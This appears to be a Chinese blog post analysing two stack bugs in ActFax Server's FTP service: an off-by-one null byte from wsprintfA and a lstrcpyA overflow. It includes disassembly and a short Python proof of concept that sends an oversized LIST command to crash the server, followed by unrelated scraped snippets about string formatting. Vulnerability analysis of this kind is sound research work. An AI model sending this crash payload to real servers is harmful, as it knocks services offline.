wsprintf格式化拷貝null位元組問題

2021-05-26 10:35:16 字數 3379 閱讀 5476

今天在分析exploit-db上面的actfax server ftp remote bof (post auth) bigger buffer時,

順帶看了下有沒別的可以利用的地方,這個actfax採用了大量的不安全的拷貝、格式化函式,很容易出現問題

在ftp處理網路中的資料時,最大的資料為0x400大小,在使用wsprintfa格式化這個資料時,只分配了大小剛好的0x400的堆疊,這樣會導致問題

wsprintf在格式化時會拷貝字串最後乙個null位元組,這樣0x400的資料,實際上格式化後拷貝的為0x401資料,最後乙個為0x00,會導致返回位址

最低位被填0x00,導致軟體crash掉。

bug彙編形態**:

.text:00458350 sub_458350      proc near               ; code xref: mainlistenthread+7dp

.text:00458350 ; mainlistenthread+e4p ...

.text:00458350

.text:00458350 buffer = byte ptr -400h

.text:00458350 arg_0 = dword ptr 4

.text:00458350 arg_4 = dword ptr 8

.text:00458350

.text:00458350 mov eax, [esp+arg_4]

.text:00458354 sub esp, 400h

.text:0045835a lea ecx, [esp+400h+buffer]

.text:0045835e push eax

.text:0045835f push offset as_11 ; "%s\r\n"

.text:00458364 push ecx ; lpstr

.text:00458365 call ds:wsprintfa

.text:0045836b mov eax, [esp+40ch+arg_0]

.text:00458372 lea edx, [esp+40ch+buffer]

.text:00458376 push 0ffffffffh ; nnumberofbytestowrite

.text:00458378 push edx ; lpbuffer

.text:00458379 push eax ; int

.text:0045837a call sub_4b7a70 ; bug 如果剛好400位元組 wsprintf會多拷貝乙個00位元組導致返回位址被改變

.text:0045837f add esp, 418h

.text:00458385 retn

.text:00458385 sub_458350 endp

poc:

#!/usr/bin/python

import socket

import sys

typebuffer = "\x41"*1024

s=socket.socket(socket.af_inet,socket.sock_stream)

connect=s.connect(('192.168.1.113',21))

print (s.recv(1024))

s.send('user ' + 'administrator\r\n')

print (s.recv(1024))

s.send('pass \r\n')

print (s.recv(1024))

s.send('list'+ typebuffer + '\r\n')

s.close

另外這個actfax server ftp remote bof (post auth) bigger buffer的產生是因為分配了大小0x300的堆疊,然後直接使用lstrcpy函式進行拷貝,最大的

資料大小為0x400,導致堆疊溢位。

.text:00458410 ; int __cdecl sub_458410(lpcstr networkdata)

.text:00458410 sub_458410 proc near ; code xref: mainlistenthread+817p

.text:00458410

.text:00458410 string1 = byte ptr -300h

.text:00458410 string2 = byte ptr -200h

.text:00458410 var_100 = byte ptr -100h

.text:00458410 networkdata = dword ptr 4

.text:00458410

.text:00458410 mov eax, [esp+networkdata]

.text:00458414 sub esp, 300h

.text:0045841a lea ecx, [esp+300h+string1]

.text:0045841e push esi

.text:0045841f mov esi, ds:lstrcpya

.text:00458425 push eax ; lpstring2

.text:00458426 push ecx ; lpstring1

.text:00458427 call esi ; lstrcpya//堆疊溢位

WSPRINTF格式化字串函式

win32 api中乙個很常用的函式wsprintf,這是乙個字串格式化函式,可以將數值按指定格式翻譯成字串,類似於c語言中的printf函式,它的原型是這樣的 int wsprintf lptstr lpout,輸出緩衝區位址 lpctstr lpfmt,格式化串位址 變數列表 變數列表的數目由格...

格式化,強調 數值格式化

聚合函式返回的的數值型別的值有個特點就是沒有被格式化。通過前面的帶 sum 聚合函式的示例,我們可以看到這一點 注意合計值 命令,或者在物件檢視器中選中 displayformat 屬性。在上節的示例中,格式化操作是針對一物件或物件內的表示式,在物件內僅有乙個表示式時它還能正常工作,不過當物件內不有...

python 格式化和format格式化

格式 name flags width precision typecode name 可選,用於選擇指定的key flags 可選,可提供的值有 右對齊,整數前加正號,負數前加負號 左對齊,正數錢無符號,負數前加負號 空格 右對齊 正數前加空格,負數前加負號 0 右對齊,正數前無符號,負數前加負號...